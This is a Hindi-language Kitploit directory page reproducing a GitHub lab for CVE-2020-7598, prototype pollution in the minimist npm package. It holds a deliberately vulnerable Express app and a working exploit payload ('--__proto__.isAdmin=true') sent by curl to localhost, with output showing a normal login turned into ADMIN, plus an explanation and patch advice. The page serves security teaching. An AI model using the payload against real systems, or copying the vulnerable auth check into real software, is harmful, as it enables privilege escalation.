Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-7598 | Kitploit
उपकरण/GitHubGitHub/renewablehacking/cve-2020-7598
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2020-7598 - minimist में Prototype Pollution

अस्वीकरण

यह प्रोजेक्ट केवल इसके लिए बनाया गया है:

  • सीखने,
  • सुरक्षा अनुसंधान,
  • और निजी स्थानीय लैब के लिए।

बिना अनुमति के सिस्टम के विरुद्ध उपयोग न करें।


CVE के बारे में

CVE-2020-7598 npm पैकेज में Prototype Pollution भेद्यता है:

  • minimist
  • असुरक्षित संस्करण:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

यह भेद्यता हमलावर को निम्नलिखित को संशोधित करने की अनुमति देती है:

root@kitploit:~
Object.prototype

इस तरह के payload के माध्यम से:

root@kitploit:~
--__proto__.isAdmin=true

परिणामस्वरूप:

  • सभी JavaScript ऑब्जेक्ट खतरनाक प्रॉपर्टी इनहेरिट कर सकते हैं,
  • auth bypass,
  • privilege escalation,
  • विशिष्ट परिस्थितियों में RCE तक की श्रृंखला।

Prototype Pollution कैसे काम करता है

JavaScript में:

root@kitploit:~
const user = {};

खाली ऑब्जेक्ट फिर भी इससे प्रॉपर्टी इनहेरिट करता है:

root@kitploit:~
Object.prototype

यदि हमलावर यह करने में सफल हो जाता है:

root@kitploit:~
Object.prototype.isAdmin = true;

तो:

root@kitploit:~
({}).isAdmin

परिणाम होगा:

root@kitploit:~
true

सभी सामान्य ऑब्जेक्ट के लिए।


लैब वातावरण

निर्भरताएँ

  • Node.js
  • Express
  • [email protected]

इंस्टॉलेशन

1. रिपॉजिटरी क्लोन करें

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. निर्भरताएँ इंस्टॉल करें

root@kitploit:~
npm install

या मैन्युअल:

root@kitploit:~
npm install express [email protected]

सोर्स कोड

फ़ाइल बनाएँ:

root@kitploit:~
app.js

सामग्री:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulasi database user
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerable
*/
app.get("/parse", (req, res) => {

    /*
      Ambil raw query
    */
    const payload = req.query.payload;

    /*
      Ubah jadi array argument CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Vulnerable parsing
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Login endpoint
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Vulnerable auth logic
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

सर्वर चलाना

root@kitploit:~
node app.js

आउटपुट:

root@kitploit:~
Server running on port 3000

सामान्य परीक्षण

सामान्य लॉगिन

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

आउटपुट:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

CVE-2020-7598 का Exploit

Prototype Pollution Payload

ब्राउज़र खोलें:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

या curl का उपयोग करें:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Exploit का परिणाम

सर्वर टर्मिनल:

root@kitploit:~
GLOBAL isAdmin: true

इसका अर्थ है:

root@kitploit:~
Object.prototype.isAdmin = true

सफलतापूर्वक संशोधित हो गया।


Exploit के बाद लॉगिन

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

आउटपुट:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

जबकि:

  • डेटाबेस नहीं बदला,
  • सोर्स कोड नहीं बदला,
  • user के पास isAdmin प्रॉपर्टी नहीं है।

ADMIN क्यों बन सकता है?

निम्नलिखित कोड:

root@kitploit:~
if(user.isAdmin)

यह केवल ऑब्जेक्ट की अपनी (own) प्रॉपर्टी की जाँच नहीं करता।

JavaScript खोजेगा:

  1. ऑब्जेक्ट की अपनी प्रॉपर्टी,
  2. फिर prototype chain।

क्योंकि हमलावर निम्नलिखित को संशोधित करने में सफल रहा:

root@kitploit:~
Object.prototype.isAdmin = true

इसलिए सभी सामान्य ऑब्जेक्ट वह प्रॉपर्टी इनहेरिट करते हैं।


Prototype Pollution का प्रमाण

सर्वर लॉग:

root@kitploit:~
Own property: false
user.isAdmin: true

इसका अर्थ है:

  • isAdmin user की मूल प्रॉपर्टी नहीं है,
  • बल्कि यह global prototype से इनहेरिट की गई है।

पैच

minimist का सुरक्षित संस्करण:

root@kitploit:~
npm install minimist@latest

पैच किया गया संस्करण ब्लॉक करता है:

  • __proto__
  • constructor
  • prototype

जिससे prototype pollution अब सफल नहीं हो पाता।


संदर्भ

  • CVE: CVE-2020-7598
  • Package: minimist
  • CWE: CWE-1321 Prototype Pollution

लेखक

यह लैब और दस्तावेज़ीकरण Node.js एप्लिकेशन सुरक्षा के अध्ययन और prototype pollution research की आवश्यकताओं के लिए बनाए गए हैं।

टूल डाउनलोड करें